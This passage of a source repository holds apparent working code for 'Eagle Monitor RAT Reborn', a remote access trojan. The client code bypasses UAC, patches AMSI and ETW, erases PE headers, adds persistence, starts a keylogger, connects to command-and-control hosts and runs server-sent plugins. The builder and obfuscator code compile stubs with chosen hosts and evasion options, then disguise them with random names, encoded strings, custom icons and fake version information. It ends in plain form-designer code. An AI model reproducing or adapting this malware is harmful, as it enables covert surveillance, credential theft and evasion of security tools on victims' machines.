WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } [MTAThread] public static void Main() { if (Config.bypassUAC && IsAdmin() == false) { Offline.Special.Parser.Parse(false, false, false, false, true); NtTerminateProcess((IntPtr)(-1), 0); } Offline.Special.Parser.Parse(Config.blockAMSI, Config.blockETW, Config.erasePEFromPEB, Config.antiDBG); OneInstance(); MakeInstall(); clientHandler = new ClientHandler(); StartOfflineKeylogger(); foreach (string h in Config.hostLists) { string[] sp = h.Split(':'); Config.hosts.Add(new Host(sp[0], sp[1])); } ClientHandler.StartConnect(clientHandler); new Thread(new ThreadStart(() => { while (true) { Thread.Sleep(-1); } })).Start(); } public static void MakeInstall() { Offline.Persistence.Launch.Install(Config.installationMethod, Config.installationParam); } internal static class PacketHandler { private delegate void LoadPluginAsync(IPacket packet); private static LoadPluginAsync loadPluginAsync; static PacketHandler() { loadPluginAsync = new LoadPluginAsync(LoadPlugin); } internal static void HandlePacket(IPacket packet) { try { switch (packet.PacketType) { case PacketType.CONNECTED: StarterClass.clientHandler.baseIp = packet.BaseIp; break; case (PacketType.CLOSE_CLIENT): StarterClass.NtTerminateProcess((IntPtr)(-1), 0); break; case (PacketType.UNINSTALL_CLOSE_CLIENT): Offline.Persistence.Launch.Uninstall(Config.installationMethod, Config.installationParam); break; default: loadPluginAsync.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null); break; } } catch { } } private static void LoadPlugin(IPacket packet) { System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.Plugin)); System.Reflection.MethodInfo method = assemblytoload.GetType("Plugin.Launch").GetMethod("Main"); object obj = assemblytoload.CreateInstance(method.Name); LoadingAPI loadingAPI = new LoadingAPI { Host = StarterClass.clientHandler.host, BaseIp = StarterClass.clientHandler.baseIp, HWID = StarterClass.clientHandler.HWID, Key = Config.generalKey, CurrentPacket = packet, }; method.Invoke(obj, new object[] { loadingAPI }); } private static void EndLoadPlugin(IAsyncResult ar) { loadPluginAsync.EndInvoke(ar); } } } internal class ClientHandler { static ClientHandler() { readDataAsync = new ReadDataAsync(Receive); parsePacketAsync = new ParsePacketAsync(ParsePacket); sendDataAsync = new SendDataAsync(Send); connectAsync = new ConnectAsync(Connect); } private static readonly ReadDataAsync readDataAsync; private static readonly ParsePacketAsync parsePacketAsync; private static readonly ConnectAsync connectAsync; private static readonly SendDataAsync sendDataAsync; private delegate byte[] ReadDataAsync(ClientHandler clientHandler); private delegate IPacket ParsePacketAsync(byte[] bufferPacket); private delegate bool ConnectAsync(ClientHandler clientHandler); private delegate int SendDataAsync(ClientHandler clientHandler, IPacket data); #region "Non Static" internal Host host { get; set; } internal string HWID { get; set; } internal string baseIp { get; set; } private Socket socket { get; set; } internal bool Connected { get; set; } internal int indexHost { get; set; } #endregion public static void StartConnect(ClientHandler clientHandler) { if (clientHandler.indexHost == Config.hosts.Count) clientHandler.indexHost = 0; clientHandler.host = Config.hosts[clientHandler.indexHost]; clientHandler.indexHost++; Thread.Sleep(125); connectAsync.BeginInvoke(clientHandler, new AsyncCallback(EndConnect), clientHandler); } private static bool Connect(ClientHandler clientHandler) { try { clientHandler.socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); clientHandler.socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); clientHandler.socket.Connect(clientHandler.host.host, clientHandler.host.port); return true; } catch { } return false; } private static void EndConnect(IAsyncResult ar) { ClientHandler clientHandler = (ClientHandler)ar.AsyncState; clientHandler.Connected = connectAsync.EndInvoke(ar); if (clientHandler.Connected) { ConnectedPacket connectionPacket = new ConnectedPacket(); clientHandler.HWID = connectionPacket.HWID; StartSendPacket(clientHandler, connectionPacket); StartReceive(clientHandler); } else { StartConnect(clientHandler); } } private static void StartReceive(ClientHandler clientHandler) { if (clientHandler.Connected) readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceive), clientHandler); else StartConnect(clientHandler); } private static byte[] Receive(ClientHandler clientHandler) { try { int total = 0; int recv; byte[] header = new byte[5]; clientHandler.socket.Poll(-1, SelectMode.SelectRead); recv = clientHandler.socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = clientHandler.socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { clientHandler.Connected = false; return null; } } private static void EndReceive(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); ClientHandler clientHandler = (ClientHandler)ar.AsyncState; if (data != null && clientHandler.Connected) parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler); StartReceive(clientHandler); } private static IPacket ParsePacket(byte[] bufferPacket) { return bufferPacket.DeserializePacket(Config.generalKey); } private static void EndParsePacket(IAsyncResult ar) { IPacket packet = parsePacketAsync.EndInvoke(ar); StarterClass.PacketHandler.HandlePacket(packet); } private static void StartSendPacket(ClientHandler clientHandler, IPacket packet) { if (clientHandler.Connected) sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendPacket), clientHandler); } private static int Send(ClientHandler clientHandler, IPacket data) { try { byte[] encryptedData = data.SerializePacket(Config.generalKey); lock (clientHandler.socket) { int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; clientHandler.socket.Poll(-1, SelectMode.SelectWrite); byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; int sent = clientHandler.socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { clientHandler.socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = clientHandler.socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return total; } } catch (Exception) { clientHandler.Connected = false; return 0; } } private static void EndSendPacket(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); ClientHandler clientHandler = (ClientHandler)ar.AsyncState; if (clientHandler.Connected) { return; } } } } ================================================ FILE: Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; ================================================ FILE: Remote Access Tool/C2/obj/Release/C2.csproj.CopyComplete ================================================ ================================================ FILE: Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache ================================================ cda5eb7bc6e232f33e621e1a1a38483d03ae39f6 ================================================ FILE: Remote Access Tool/C2/obj/Release/C2.csproj.FileListAbsolute.txt ================================================ F:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\C2.exe.config F:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\C2.exe F:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\C2.pdb F:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\Offline.dll F:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\PacketLib.dll F:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.exe F:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.pdb E:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.exe E:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.pdb E:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\C2.exe.config E:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\C2.exe E:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\C2.pdb E:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\Offline.dll E:\$$$$$\Eagle Monitor RAT Reborn\C2\bin\Release\PacketLib.dll E:\$$$$$\Eagle Monitor RAT Reborn\C2\obj\Release\C2.csproj.CopyComplete ================================================ FILE: Remote Access Tool/C2/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/IconInjector.cs ================================================ using System; using System.Windows.Forms; using Vestris.ResourceLib; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Builder { internal static class IconInjector { internal static void SetIcon(string iconPath, string exePath) { try { IconFile iconFile = new IconFile(iconPath); IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); iconDirectoryResource.SaveTo(exePath); } catch (Exception ex) { MessageBox.Show(ex.ToString()); } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/Obfuscate.cs ================================================ using dnlib.DotNet; using dnlib.DotNet.Emit; using System; using System.Linq; using System.Text; using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || || From : https://github.com/MicrobBlue/BiFang/blob/master/src/BiFang/until/Obfuscate.cs || */ namespace Eagle_Monitor_RAT_Reborn.Builder { internal class Obfuscate { #region "BiFang" private static void ObfuscateMethods(ModuleDef md) { foreach (var type in md.GetTypes()) { // create method to obfuscation map foreach (MethodDef method in type.Methods) { // empty method check if (!method.HasBody) continue; // method is a constructor if (method.IsConstructor) continue; // method overrides another if (method.HasOverrides) continue; // method has a rtspecialname, VES needs proper name if (method.IsRuntimeSpecialName) continue; // method foward declaration if (method.DeclaringType.IsForwarder) continue; Random random = new Random(); string encName = Misc.RandomString.RandomStringFunction(random.Next(5, 11)); // Console.WriteLine($"{method.Name} -> {encName}"); method.Name = encName; } } } private static void ObfuscateStrings(ModuleDef md) { foreach (var type in md.GetTypes()) { foreach (MethodDef method in type.Methods) { if (!method.HasBody) continue; for (int i = 0; i < method.Body.Instructions.Count(); i++) { if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) { String regString = method.Body.Instructions[i].Operand.ToString(); String encString = Convert.ToBase64String(UTF8Encoding.UTF8.GetBytes(regString)); method.Body.Instructions[i].OpCode = OpCodes.Nop; // errors occur if instruction not replaced with Nop method.Body.Instructions.Insert(i + 1, new Instruction(OpCodes.Call, md.Import(typeof(System.Text.Encoding).GetMethod("get_UTF8", new Type[] { })))); // Load string onto stack method.Body.Instructions.Insert(i + 2, new Instruction(OpCodes.Ldstr, encString)); // Load string onto stack method.Body.Instructions.Insert(i + 3, new Instruction(OpCodes.Call, md.Import(typeof(System.Convert).GetMethod("FromBase64String", new Type[] { typeof(string) })))); // call method FromBase64String with string parameter loaded from stack, returned value will be loaded onto stack method.Body.Instructions.Insert(i + 4, new Instruction(OpCodes.Callvirt, md.Import(typeof(System.Text.Encoding).GetMethod("GetString", new Type[] { typeof(byte[]) })))); // call method GetString with bytes parameter loaded from stack i += 4; } } } } } private static void ObfuscateClasses(ModuleDef md) { foreach (var type in md.GetTypes()) { Random random = new Random(); string encName = "System." + Misc.RandomString.RandomStringFunction(random.Next(5, 11)); type.Name = encName; } } private static void CleanAsm(ModuleDef md) { foreach (var type in md.GetTypes()) { foreach (MethodDef method in type.Methods) { // empty method check if (!method.HasBody) continue; method.Body.SimplifyBranches(); method.Body.OptimizeBranches(); // negates simplifyBranches //method.Body.OptimizeMacros(); } } } #endregion // Other #region "Obfuscator from other src" private static Dictionary _namesFields = new Dictionary(); private static void ObfuscateFields(ModuleDef md) { foreach (TypeDef type in md.GetTypes()) { if (type.IsGlobalModuleType) continue; foreach (var field in type.Fields) { string nameValue; if (_namesFields.TryGetValue(field.Name, out nameValue)) field.Name = nameValue; else { if (!field.IsSpecialName && !field.HasCustomAttributes) { string newName = Misc.RandomString.GenerateRandomString(); _namesFields.Add(field.Name, newName); field.Name = newName; } } } } ApplyChangesToResourcesFields(md); } private static void ApplyChangesToResourcesFields(ModuleDef md) { foreach (TypeDef type in md.GetTypes()) { if (type.IsGlobalModuleType) continue; foreach (MethodDef method in type.Methods) { if (method.Name != "InitializeComponent") continue; var instr = method.Body.Instructions; for (int i = 0; i < instr.Count - 3; i++) { if (instr[i].OpCode == OpCodes.Ldstr) { foreach (var item in _namesFields) { if (item.Key == instr[i].Operand.ToString()) { instr[i].Operand = item.Value; } } } } } } } private static void ObfuscateProperties(ModuleDef md) { foreach (TypeDef type in md.GetTypes()) { if (type.IsGlobalModuleType) continue; foreach (var property in type.Properties) { property.Name = Misc.RandomString.GenerateRandomString(); } } } private static Dictionary _namesSpaces = new Dictionary(); private static void ObfuscateNamespaces(ModuleDef md) { md.Name = Misc.RandomString.GenerateRandomString(); foreach (TypeDef type in md.GetTypes()) { if (type.IsGlobalModuleType) continue; if (type.Namespace == "") continue; string nameValue; if (_namesSpaces.TryGetValue(type.Namespace, out nameValue)) type.Namespace = nameValue; else { string newName = Misc.RandomString.GenerateRandomString(); _namesSpaces.Add(type.Namespace, newName); type.Namespace = newName; } } ApplyChangesToResourcesNamespace(md); } private static void ApplyChangesToResourcesNamespace(ModuleDef md) { foreach (var resource in md.Resources) { foreach (var item in _namesSpaces) { if (resource.Name.Contains(item.Key)) { resource.Name = resource.Name.Replace(item.Key, item.Value); } } } foreach (TypeDef type in md.GetTypes()) { foreach (var property in type.Properties) { if (property.Name != "ResourceManager") continue; var instr = property.GetMethod.Body.Instructions; for (int i = 0; i < instr.Count; i++) { if (instr[i].OpCode == OpCodes.Ldstr) { foreach (var item in _namesSpaces) { if (instr[i].ToString().Contains(item.Key)) instr[i].Operand = instr[i].Operand.ToString().Replace(item.Key, item.Value); } } } } } } #endregion // Other internal static void ObfuscateStub(ModuleDef md)//, string outFile) { md.Name = "MS.Internal" + Misc.RandomString.RandomStringFunction(3);////From BiFang + changed by other ObfuscateStrings(md); //From BiFang ObfuscateMethods(md); //From BiFang ObfuscateClasses(md); //From BiFang ObfuscateFields(md); //From other ObfuscateProperties(md); //From other ObfuscateNamespaces(md); //From other CleanAsm(md); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs ================================================ using System; using System.Diagnostics; using System.IO.Compression; using System.IO; using System.Text; using System.Windows.Forms; using dnlib.DotNet; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Builder { internal class StubBuilder { internal static bool BuildClient() { Program.mainForm.buildLogsGuna2TextBox.BeginInvoke((MethodInvoker)(() => { Program.mainForm.buildLogsGuna2TextBox.Clear(); string stub = File.ReadAllText(Application.StartupPath + "\\Stubs\\client.cs"); string xmlConfig = File.ReadAllText(Application.StartupPath + "\\Stubs\\client.xml"); string archi = xmlConfig.Replace("anycpu", Program.mainForm.archiGuna2ComboBox.Text); File.WriteAllText(Application.StartupPath + "\\Stubs\\clienttmp.xml", archi); //Doing patch LogStep("Adding encryption key..." + Environment.NewLine); stub = ReplaceStub(stub, "string generalKey = \"123456789\"", $"string generalKey = \"{Program.mainForm.builderKeyGuna2TextBox.Text}\""); LogStep("Adding offline lib..." + Environment.NewLine); stub = ReplaceStub(stub, "byte[] offline = new byte[] { };", "byte[] offline = " + LibCompressor(File.ReadAllBytes(Application.StartupPath + "\\Stubs\\Offline.dll"))); LogStep("Adding packet lib..." + Environment.NewLine); stub = ReplaceStub(stub, "byte[] packetLib = new byte[] { };", "byte[] packetLib = " + LibCompressor(File.ReadAllBytes(Application.StartupPath + "\\PacketLib.dll"))); LogStep("Patching hosts..." + Environment.NewLine); string hostsList = null; foreach (DataGridViewRow host in Program.mainForm.hostsDataGridView.Rows) { hostsList += $"\"{host.Cells[0].Value}:{host.Cells[1].Value}\","; } stub = stub.Replace("\"qsdqsdqsdkjsdljk.com:7521\", \"127.0.0.1:7788\", \"127.0.0.1:9988\", \"127.0.0.1:9875\"", hostsList.Substring(0, hostsList.Length - 1)); if (Program.mainForm.persistenceGuna2CheckBox.Checked && Program.mainForm.persistenceMethodGuna2ComboBox.SelectedIndex != -1) { LogStep("Adding persistence..." + Environment.NewLine); stub = stub.Replace("Offline.Persistence.Method.NONE", "Offline.Persistence.Method.SHT_STARTUP_FOLDER"); } else LogStep("Skipping persistence..." + Environment.NewLine); if (Program.mainForm.offKeyloguna2CheckBox.Checked) { LogStep("Setting offline keylogger..." + Environment.NewLine); stub = stub.Replace("bool offKeylog = false;", "bool offKeylog = true;"); } else LogStep("Skipping offline keylogger..." + Environment.NewLine); if (Program.mainForm.patchETWGuna2CheckBox.Checked) { LogStep("Setting etw patch..." + Environment.NewLine); stub = stub.Replace("bool blockETW = false;", "bool blockETW = true;"); } else LogStep("Skipping etw patch..." + Environment.NewLine); if (Program.mainForm.patchAMSIGuna2CheckBox.Checked) { LogStep("Setting amsi patch..." + Environment.NewLine); stub = stub.Replace("bool blockAMSI = false;", "bool blockAMSI = true;"); } else LogStep("Skipping amsi patch..." + Environment.NewLine); if (Program.mainForm.erasePEHeadersGuna2CheckBox.Checked) { LogStep("Setting PE headers eraser..." + Environment.NewLine); stub = stub.Replace("bool erasePEFromPEB = false;", "bool erasePEFromPEB = true;"); } else LogStep("Skipping PE headers eraser..." + Environment.NewLine); if (Program.mainForm.antiDebugGuna2CheckBox.Checked) { LogStep("Setting anti-debug..." + Environment.NewLine); stub = stub.Replace("bool antiDBG = false;", "bool antiDBG = true;"); } else LogStep("Skipping anti-debug..." + Environment.NewLine); if (Program.mainForm.bypassICMLuaUtilGuna2CheckBox.Checked) { LogStep("Setting bypass uac..." + Environment.NewLine); stub = stub.Replace("bypassUAC = false;", "bypassUAC = true;"); } else LogStep("Skipping bypass uac..." + Environment.NewLine); LogStep("Renaming code..." + Environment.NewLine); stub = Rename(stub, "hosts"); stub = Rename(stub, "hostLists"); stub = Rename(stub, "generalKey"); stub = Rename(stub, "Config"); stub = Rename(stub, "installationParam"); stub = Rename(stub, "installationMethod"); stub = Rename(stub, "StarterClass"); stub = Rename(stub, "AlreadyLaunched"); stub = Rename(stub, "OneInstance"); stub = Rename(stub, "MakeInstall"); stub = Rename(stub, "StartOfflineKeylogger"); stub = Rename(stub, "DomCheck"); //Delegates stub = Rename(stub, "ReadDataAsync"); stub = Rename(stub, "readDataAsync"); stub = Rename(stub, "ParsePacketAsync"); stub = Rename(stub, "parsePacketAsync"); stub = Rename(stub, "ConnectAsync"); stub = Rename(stub, "connectAsync"); stub = Rename(stub, "SendDataAsync"); stub = Rename(stub, "sendDataAsync"); stub = Rename(stub, "LoadPluginAsync"); stub = Rename(stub, "loadPluginAsync"); //Methods stub = Rename(stub, "StartConnect"); stub = Rename(stub, "EndConnect"); stub = Rename(stub, "StartReceive"); stub = Rename(stub, "EndReceive"); stub = Rename(stub, "LoadPlugin"); stub = Rename(stub, "EndLoadPlugin"); stub = Rename(stub, "ParsePacket"); stub = Rename(stub, "EndParsePacket"); stub = Rename(stub, "StartSendPacket"); stub = Rename(stub, "EndSendPacket"); //Class stub = Rename(stub, "PacketHandler"); stub = Rename(stub, "HandlePacket"); stub = Rename(stub, "ClientHandler"); stub = Rename(stub, "clientHandler"); //Options stub = Rename(stub, "offKeylog"); stub = Rename(stub, "antiDBG"); stub = Rename(stub, "erasePEFromPEB"); stub = Rename(stub, "blockAMSI"); stub = Rename(stub, "blockETW"); File.WriteAllText(Application.StartupPath + "\\Stubs\\clienttmp.cs", stub); LogStep("Starting building process..." + Environment.NewLine); Build(); LogStep("Starting obfuscating exe file..." + Environment.NewLine); bool built = Obfuscator(Application.StartupPath + "\\Stubs\\Client.exe"); File.Delete(Application.StartupPath + "\\Stubs\\Client.exe"); if (built) { LogStep("Client built !"); MessageBox.Show("Done !", "", MessageBoxButtons.OK, MessageBoxIcon.Information); } })); return false; } private static string ReplaceStub(string stub, string toReplace, string newString) { return stub.Replace(toReplace, newString); } private static string Rename(string stub, string toReplace) { return stub.Replace(toReplace, Misc.RandomString.NextString(10)); } private static void LogStep(string log) { Program.mainForm.buildLogsGuna2TextBox.AppendText(log); } private static void Build() { Process cmd = new Process(); cmd.StartInfo.FileName = "cmd.exe"; cmd.StartInfo.RedirectStandardInput = true; cmd.StartInfo.RedirectStandardOutput = true; cmd.StartInfo.CreateNoWindow = true; cmd.StartInfo.UseShellExecute = false; cmd.StartInfo.StandardOutputEncoding = Encoding.GetEncoding(437); /* The OEM or DOS/OEM character set contains line draw and other symbols commonly used by earlier DOS programs to create charts and simple graphics. Also known as the PC-8 symbol set as well as Code Page 437, the OEM character set is built into every graphics card. */ string xmlPath = Application.StartupPath + "\\Stubs\\clienttmp.xml\""; cmd.StartInfo.Arguments = "/c " + "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe \""+ xmlPath; cmd.Start(); cmd.StandardInput.Flush(); cmd.StandardInput.Close(); cmd.WaitForExit(); Program.mainForm.buildLogsGuna2TextBox.AppendText(cmd.StandardOutput.ReadToEnd()); File.Delete(Application.StartupPath + "\\Stubs\\clienttmp.cs"); File.Delete(Application.StartupPath + "\\Stubs\\clienttmp.xml"); } private static string LibCompressor(byte[] lib) { using (MemoryStream resultStream = new MemoryStream()) { using (DeflateStream compressionStream = new DeflateStream(resultStream, CompressionMode.Compress)) { compressionStream.Write(lib, 0, lib.Length); } byte[] result = resultStream.ToArray(); return "new byte[] {" + String.Join(",", result) + "};"; } } private static bool Obfuscator(string path) { ModuleDefMD asmDef = ModuleDefMD.Load(path); try { using (asmDef) { using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) { saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; saveFileDialog1.InitialDirectory = Misc.Utils.GPath; saveFileDialog1.OverwritePrompt = false; saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { Obfuscate.ObfuscateStub(asmDef); asmDef.Write(saveFileDialog1.FileName); asmDef.Dispose(); LogStep("Setting icon..." + Environment.NewLine); if (!string.IsNullOrEmpty(Program.mainForm.iconPath)) IconInjector.SetIcon(Program.mainForm.iconPath, saveFileDialog1.FileName); else LogStep("Skipping setting icon..." + Environment.NewLine); LogStep("Setting assembly information..." + Environment.NewLine); WriteAssemblyInfo.WriteAssemblyInformation(saveFileDialog1.FileName, Program.mainForm.fileVersionGuna2TextBox.Text, Program.mainForm.productVersionGuna2TextBox.Text, Program.mainForm.productGuna2TextBox.Text, Program.mainForm.descriptionGuna2TextBox.Text, Program.mainForm.companyGuna2TextBox.Text, Program.mainForm.copyrightGuna2TextBox.Text, Program.mainForm.trademarksGuna2TextBox.Text, Program.mainForm.filenameGuna2TextBox.Text ); return true; } } } } catch (Exception ex) { MessageBox.Show(ex.ToString()); } return false; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/WriteAssemblyInfo.cs ================================================ using System; using Vestris.ResourceLib; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Builder { internal static class WriteAssemblyInfo { internal static void WriteAssemblyInformation(string path, string fileVer, string prodVer, string prodName, string desc, string compName, string copyright, string trademarks, string orgiName) { try { VersionResource versionResource = new VersionResource(); versionResource.LoadFrom(path); versionResource.FileVersion = fileVer; versionResource.ProductVersion = prodVer; versionResource.Language = 0; StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"]; stringFileInfo["ProductName"] = prodName; stringFileInfo["FileDescription"] = desc; stringFileInfo["CompanyName"] = compName; stringFileInfo["LegalCopyright"] = copyright; stringFileInfo["LegalTrademarks"] = trademarks; stringFileInfo["Assembly Version"] = versionResource.ProductVersion; stringFileInfo["InternalName"] = orgiName; stringFileInfo["OriginalFilename"] = orgiName; stringFileInfo["ProductVersion"] = versionResource.ProductVersion; stringFileInfo["FileVersion"] = versionResource.FileVersion; versionResource.SaveTo(path); } catch (Exception) { } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.Designer.cs ================================================ namespace Eagle_Monitor_RAT_Reborn { partial class AboutForm { /// /// Variable nécessaire au concepteur. /// private System.ComponentModel.IContainer components = null; /// /// Nettoyage des ressources utilisées. /// /// true si les ressources managées doivent être supprimées ; sinon, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Code généré par le Concepteur Windows Form /// /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas /// le contenu de cette méthode avec l'éditeur de code. /// private void InitializeComponent() { System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutForm)); this.aboutDataGridView = new System.Windows.Forms.DataGridView(); this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.logoPictureBox = new System.Windows.Forms.PictureBox(); ((System.ComponentModel.ISupportInitialize)(this.aboutDataGridView)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit(); this.SuspendLayout(); // // aboutDataGridView // this.aboutDataGridView.AllowUserToAddRows = false; this.aboutDataGridView.AllowUserToDeleteRows = false; this.aboutDataGridView.AllowUserToResizeColumns = false; this.aboutDataGridView.AllowUserToResizeRows = false; this.aboutDataGridView.BackgroundColor = System.Drawing.Color.White; this.aboutDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.aboutDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.aboutDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle1.BackColor = System.Drawing.Color.White; dataGridViewCellStyle1.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.aboutDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; this.aboutDataGridView.ColumnHeadersHeight = 36; this.aboutDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column1, this.Column2}); this.aboutDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.aboutDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.aboutDataGridView.EnableHeadersVisualStyles = false; this.aboutDataGridView.GridColor = System.Drawing.Color.White; this.aboutDataGridView.Location = new System.Drawing.Point(2, 32); this.aboutDataGridView.Name = "aboutDataGridView"; this.aboutDataGridView.ReadOnly = true; this.aboutDataGridView.RowHeadersVisible = false; dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; dataGridViewCellStyle4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); this.aboutDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle4; this.aboutDataGridView.RowTemplate.Height = 26; this.aboutDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.aboutDataGridView.Size = new System.Drawing.Size(434, 190); this.aboutDataGridView.TabIndex = 5; this.aboutDataGridView.TabStop = false; this.aboutDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.dataGridView1_MouseUp); // // Column1 // this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column1.DefaultCellStyle = dataGridViewCellStyle2; this.Column1.FillWeight = 10F; this.Column1.HeaderText = ""; this.Column1.Name = "Column1"; this.Column1.ReadOnly = true; this.Column1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column2 // this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), 